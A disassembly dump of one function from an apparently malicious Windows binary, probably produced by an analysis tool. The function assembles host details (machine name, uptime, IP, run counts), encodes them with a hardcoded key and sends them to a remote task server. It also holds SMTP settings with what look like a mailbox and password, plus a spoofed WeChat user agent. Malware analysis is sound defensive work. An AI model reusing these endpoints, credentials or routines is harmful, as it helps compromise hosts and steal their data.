Function at 0x4015bf
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb8
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 8
call fcn.0042a810
add esp, 4
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, 0x4e66fa
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
push 8
call fcn.0042a810
add esp, 4
mov dword [ebp - 0x44], eax
mov edi, eax
mov esi, 0x4e66fa
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0
push 8
call fcn.0042a810
add esp, 4
mov dword [ebp - 0x58], eax
mov edi, eax
mov esi, 0x4e66fa
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0
push 8
call fcn.0042a810
add esp, 4
mov dword [ebp - 0x68], eax
mov edi, eax
mov esi, 0x4e66fa
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
cmp dword [0x520dec], 1
jne 0x401721
mov eax, dword [0x520df0]
test eax, eax
je 0x401707
push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0042a810
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x401718
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 4], eax
jmp 0x401752
push 0xffffffffffffffff
push 8
push 0x16019854
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40174e
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x4e651c
push dword [ebp - 4]
call fcn.004014e1
add esp, 8
cmp eax, 0
jne 0x4017a8
mov dword [ebp - 0x74], 0
push 0
lea eax, [ebp - 0x74]
push eax
call fcn.00406314
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x401790
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4017a4
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 4], eax
cmp dword [0x520de4], 4
jg 0x4017ca
mov eax, dword [0x520df4]
cmp dword [0x520de4], eax
jne 0x4017ca
xor eax, eax
jmp 0x4017cf
mov eax, 1
test eax, eax
je 0x401a45
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.397520397520
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.smtp.qq.com
push 5
mov eax, 2
mov ebx, 0x47e1d0
call fcn.0042a834
add esp, 0x40
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x4e65d6
push dword [ebp - 0x74]
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40185f
push ebx
call fcn.0042a816
add esp, 4
push 0x80000301
push 0
push dword [0x520de4]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x7c], eax
push 0x80000301
push 0
push dword [0x520df4]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x80], eax
push 0xffffffffffffffff
push 8
push 0x16019859
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x84], eax
push 0xffffffffffffffff
push 8
push 0x160198cf
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [0x520df8]
push 0x4e65f6
push dword [ebp - 0x80]
push 0x4e6601
push dword [ebp - 0x7c]
push 0x4e6621
push dword [ebp - 0x8c]
push 0x4e663d
push dword [ebp - 0x88]
push 0x4e6659
push dword [ebp - 0x84]
push 0x4e6669
mov ecx, 0xc
call fcn.00401096
add esp, 0x30
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x401959
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x40196c
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x40197f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40198f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40199f
push ebx
call fcn.0042a816
add esp, 4
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
mov ebx, 6
call fcn.0040157e
push reloc.WS2_32.dll_connect
push 0
push str.153629739_qq.com
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x90]
test eax, eax
jne 0x4019dd
mov eax, 0x4e651c
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x4019f1
mov eax, 0x4e651c
push eax
push 7
mov eax, 2
mov ebx, 0x47e240
call fcn.0042a834
add esp, 0x58
mov ebx, eax
test ebx, ebx
je 0x401a18
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x401a28
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x401a3b
push ebx
call fcn.0042a816
add esp, 4
push 0
call fcn.0042a82e
add esp, 4
cmp dword [0x520dfc], 0
jle 0x401b20
fild dword [0x520dfc]
fstp qword [ebp - 0x78]
fld qword [ebp - 0x78]
fild dword [0x520de4]
fstp qword [ebp - 0x80]
fadd qword [ebp - 0x80]
fstp qword [ebp - 0x88]
fld qword [ebp - 0x88]
call fcn.00401004
mov dword [ebp - 8], eax
push 0x80000301
push 0
push dword [0x520e00]
push 1
mov ebx, 0x42b7f0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fmul qword [0x4e6679]
fstp qword [ebp - 0x84]
fild dword [ebp - 8]
fstp qword [ebp - 0x8c]
fld qword [ebp - 0x8c]
fsub qword [ebp - 0x84]
fcomp qword [0x4e6681]
fnstsw ax
test ah, 0x41
jne 0x401b1b
push reloc.WS2_32.dll_connect
push 0
push 0x4e6689
push 0x80000301
push 0
push 0x10
push reloc.WS2_32.dll_connect
push 0
push 0x4e6696
push 3
mov ebx, 0x42dca0
call fcn.0042a80a
add esp, 0x28
push 0
call fcn.0042a82e
add esp, 4
jmp 0x401b28
mov eax, dword [0x520de4]
mov dword [ebp - 8], eax
cmp dword [0x520e04], 1
jne 0x401bab
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
call fcn.004098f8
mov dword [ebp - 0x78], eax
push 0x80000301
push 0
push 0xa
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x78]
test eax, eax
jne 0x401b68
mov eax, 0x4e651c
push eax
push 2
mov ebx, 0x42b150
call fcn.0042a80a
add esp, 0x1c
mov dword [ebp - 0x7c], eax
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x401b8e
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x7c]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401ba2
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
jmp 0x401be5
call fcn.00409ce0
push 0x80000301
push 0
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x78]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x401be1
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
cmp dword [0x520e08], 1
jne 0x4022e3
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
lea eax, [ebp - 0x78]
push eax
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
push dword [ebp - 0x80]
mov dword [ebp - 0x84], 0
push 0
lea eax, [ebp - 0x84]
push eax
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
mov dword [ebp - 0x8c], 0
push 0
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov eax, str.http:__www.mmwzpt.cn_mmrj_zxgh.asp_Actionzxtasknamenjafgov_lkq
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
call fcn.0040667f
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x401cc5
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x401cd8
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x401ceb
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x401cfe
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x401d11
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x401d24
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x401d34
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x401d44
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x401d5a
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x401d86
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x401d9d
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6702
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, 0x4e6704
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
push 0x520e0c
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x401df1
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x401e01
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x84]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x401e18
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x10]
test eax, eax
jne 0x401e2f
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
push dword [ebp - 0x7c]
mov eax, 0x4e6712
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
mov eax, str.B_
mov dword [ebp - 0x84], eax
lea eax, [ebp - 0x84]
push eax
lea eax, [ebp - 0x74]
push eax
call fcn.00407a19
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x401e9a
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x401ead
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x401ebd
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401ed4
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401ef7
mov eax, 0x4e651c
push eax
push 2
mov ebx, 0x42b190
call fcn.0042a80a
add esp, 0x1c
mov dword [ebp - 0x74], eax
push 0x4e671b
push dword [ebp - 0x74]
call fcn.004014e1
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x78], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x401f3b
push ebx
call fcn.0042a816
add esp, 4
cmp dword [ebp - 0x78], 0
je 0x401fdd
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401f58
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42ae20
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x7c], eax
fild dword [ebp - 0x7c]
fstp qword [ebp - 0x7c]
fld qword [ebp - 0x7c]
fsub qword [0x4e671d]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
call fcn.00401004
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x18]
test eax, eax
jne 0x401fa9
mov eax, 0x4e651c
push eax
push 2
mov ebx, 0x42b150
call fcn.0042a80a
add esp, 0x1c
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x88]
push eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x401fd9
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x4e671b
mov dword [ebp - 0x74], eax
lea eax, [ebp - 0x74]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040dc23
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x402006
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x1c]
call fcn.00401586
mov dword [ebp - 0x74], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x402024
mov eax, 0x4e651c
push eax
push 1
mov ebx, 0x42b690
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], edx
fild dword [ebp - 0x74]
fstp qword [ebp - 0x84]
fld qword [ebp - 0x84]
fsub qword [ebp - 0x7c]
fcomp qword [0x4e6725]
fnstsw ax
test ah, 1
jne 0x4020fb
mov ebx, dword [ebp - 0x1c]
call fcn.0040159f
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.00401586
push 0x80000301
push 0
push eax
push 0x80000301
push 0
push 1
push 2
mov ebx, 0x42b0d0
call fcn.0042a80a
add esp, 0x1c
dec eax
jns 0x4020a8
push 4
call fcn.0042a81c
add esp, 4
pop ecx
pop ebx
cmp eax, ecx
jl 0x4020bb
push 1
call fcn.0042a81c
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x7c], ebx
mov ebx, dword [ebp - 0x7c]
mov eax, dword [ebx]
test eax, eax
je 0x4020e1
push eax
mov ebx, eax
call fcn.0040102b
inc eax
push eax
call fcn.0042a810
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x4020f2
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
jmp 0x40211b
call fcn.0040dfb9
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x74]
push eax
mov ebx, dword [ebp - 0x20]
test ebx, ebx
je 0x402117
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x20], eax
push 0
push dword [ebp - 0x20]
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a828
add esp, 0x18
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x520de8]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x42cf30
call fcn.0042a80a
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0040e5d2
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x8c], eax
push dword [ebp - 0xc]
push 0x4e672d
push dword [0x520df8]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x8c]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskNamenjafgov_lkqSuccNums
push dword [ebp - 0x20]
push str.Idname
mov ecx, 0x10
call fcn.00401096
add esp, 0x40
mov dword [ebp - 0x90], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x402243
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x402253
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x402266
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402279
push ebx
call fcn.0042a816
add esp, 4
mov eax, str.2015xinqixiang
mov dword [ebp - 0x94], eax
lea eax, [ebp - 0x94]
push eax
lea eax, [ebp - 0x90]
push eax
call fcn.004105dc
mov dword [ebp - 0x98], eax
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4022b0
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4022c3
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x98]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4022da
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
jmp 0x4024bd
push 0x80000301
push 0
push dword [ebp - 8]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x74], eax
push 0x80000301
push 0
push dword [0x520de8]
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0x78], eax
push 0
mov ebx, 0x42cf30
call fcn.0042a80a
add esp, 4
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
push 1
push 1
push 1
push dword [ebp - 0x7c]
push dword [ebp - 0x80]
call fcn.0040e5d2
mov dword [ebp - 0x88], eax
push 0xffffffffffffffff
push 8
push 0x160198db
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x8c], eax
push 0xffffffffffffffff
push 8
push 0x16019855
push 0x52010001
call fcn.0042a83a
add esp, 0x10
mov dword [ebp - 0x90], eax
push dword [ebp - 0xc]
push 0x4e672d
push dword [0x520df8]
push str.Machine
push dword [ebp - 0x88]
push str.UpTime
push dword [ebp - 4]
push str.IP
push dword [ebp - 0x90]
push str.rundate
push dword [ebp - 0x78]
push str.FailNums
push dword [ebp - 0x74]
push str.TaskNamenjafgov_lkqSuccNums
push dword [ebp - 0x8c]
push str.Idname
mov ecx, 0x10
call fcn.00401096
add esp, 0x40
mov dword [ebp - 0x94], eax
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x402412
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x402422
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x78]
test ebx, ebx
je 0x402432
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x402445
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x402458
push ebx
call fcn.0042a816
add esp, 4
mov eax, str.2015xinqixiang
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x94]
push eax
call fcn.004105dc
mov dword [ebp - 0x9c], eax
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x40248f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4024a2
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0x9c]
push eax
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4024b9
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x24], eax
push dword [ebp - 0x24]
push str.http:__www.mmwzpt.cn_mmrj_up.asp_ActionupsuccessKEY
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov dword [ebp - 0x7c], 0
push 0
lea eax, [ebp - 0x7c]
push eax
mov dword [ebp - 0x80], 0
push 0
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x84], 0
push 0
push dword [ebp - 0x84]
mov dword [ebp - 0x88], 0
push 0
lea eax, [ebp - 0x88]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0x8c], eax
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
lea eax, [ebp - 0x98]
push eax
mov dword [ebp - 0x9c], 0
push 0
push dword [ebp - 0x9c]
lea eax, [ebp - 0x74]
push eax
call fcn.0040667f
mov dword [ebp - 0xa0], eax
mov ebx, dword [ebp - 0x74]
test ebx, ebx
je 0x40259e
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x98]
test ebx, ebx
je 0x4025b1
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4025c4
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4025d7
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x8c]
test ebx, ebx
je 0x4025ea
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x4025fd
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40260d
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40261d
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xa0]
test eax, eax
jne 0x402633
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xa4], eax
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x40265f
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xa4]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x402676
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.self.location
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x4026ab
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0xffffffff
je 0x40291e
mov dword [ebp - 0x74], 0
push 0
push dword [ebp - 0x74]
mov dword [ebp - 0x78], 0
push 0
push dword [ebp - 0x78]
mov eax, 0x4e6865
mov dword [ebp - 0x7c], eax
lea eax, [ebp - 0x7c]
push eax
mov eax, str.self.location_
mov dword [ebp - 0x80], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x28]
push eax
call fcn.00407a19
mov dword [ebp - 0x84], eax
mov ebx, dword [ebp - 0x80]
test ebx, ebx
je 0x40271a
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x7c]
test ebx, ebx
je 0x40272a
push ebx
call fcn.0042a816
add esp, 4
push dword [ebp - 0x84]
push str.http:__www.mmwzpt.cn
mov ecx, 2
call fcn.00401096
add esp, 8
mov dword [ebp - 0x88], eax
mov ebx, dword [ebp - 0x84]
test ebx, ebx
je 0x40275b
push ebx
call fcn.0042a816
add esp, 4
mov dword [ebp - 0x8c], 0
push 0
push dword [ebp - 0x8c]
mov dword [ebp - 0x90], 0
push 0
lea eax, [ebp - 0x90]
push eax
mov dword [ebp - 0x94], 0
push 0
lea eax, [ebp - 0x94]
push eax
mov dword [ebp - 0x98], 0
push 0
push dword [ebp - 0x98]
mov dword [ebp - 0x9c], 0
push 0
lea eax, [ebp - 0x9c]
push eax
push 1
mov eax, str.User_Agent:_Mozilla_5.0__iPhone__CPU_iPhone_OS_5_1_like_Mac_OS_X__applewebkit_534.46__KHTML__like_Gecko__Mobile_9B176_MicroMessenger_4.3.2
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xa0]
push eax
mov dword [ebp - 0xa4], 0
push 0
lea eax, [ebp - 0xa4]
push eax
mov dword [ebp - 0xa8], 0
push 0
lea eax, [ebp - 0xa8]
push eax
mov dword [ebp - 0xac], 0
push 0
lea eax, [ebp - 0xac]
push eax
mov dword [ebp - 0xb0], 0
push 0
push dword [ebp - 0xb0]
lea eax, [ebp - 0x88]
push eax
call fcn.0040667f
mov dword [ebp - 0xb4], eax
mov ebx, dword [ebp - 0x88]
test ebx, ebx
je 0x40283c
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xac]
test ebx, ebx
je 0x40284f
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xa8]
test ebx, ebx
je 0x402862
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xa4]
test ebx, ebx
je 0x402875
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0xa0]
test ebx, ebx
je 0x402888
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x9c]
test ebx, ebx
je 0x40289b
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x94]
test ebx, ebx
je 0x4028ae
push ebx
call fcn.0042a816
add esp, 4
mov ebx, dword [ebp - 0x90]
test ebx, ebx
je 0x4028c1
push ebx
call fcn.0042a816
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xb4]
test eax, eax
jne 0x4028d7
mov eax, 0x4e66fa
push eax
push 1
mov ebx, 0x42c7d0
call fcn.0042a80a
add esp, 0x10
mov dword [ebp - 0xb8], eax
mov ebx, dword [ebp - 0xb4]
test ebx, ebx
je 0x402903
push ebx
call fcn.0042a816
add esp, 4
mov eax, dword [ebp - 0xb8]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x40291a
push ebx
call fcn.0042a816
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_bind
push 0
push 1
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.self.location
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x40294f
mov eax, 0x4e651c
push eax
push 4
mov ebx, 0x42b440
call fcn.0042a80a
add esp, 0x34
mov dword [ebp - 0x78], eax
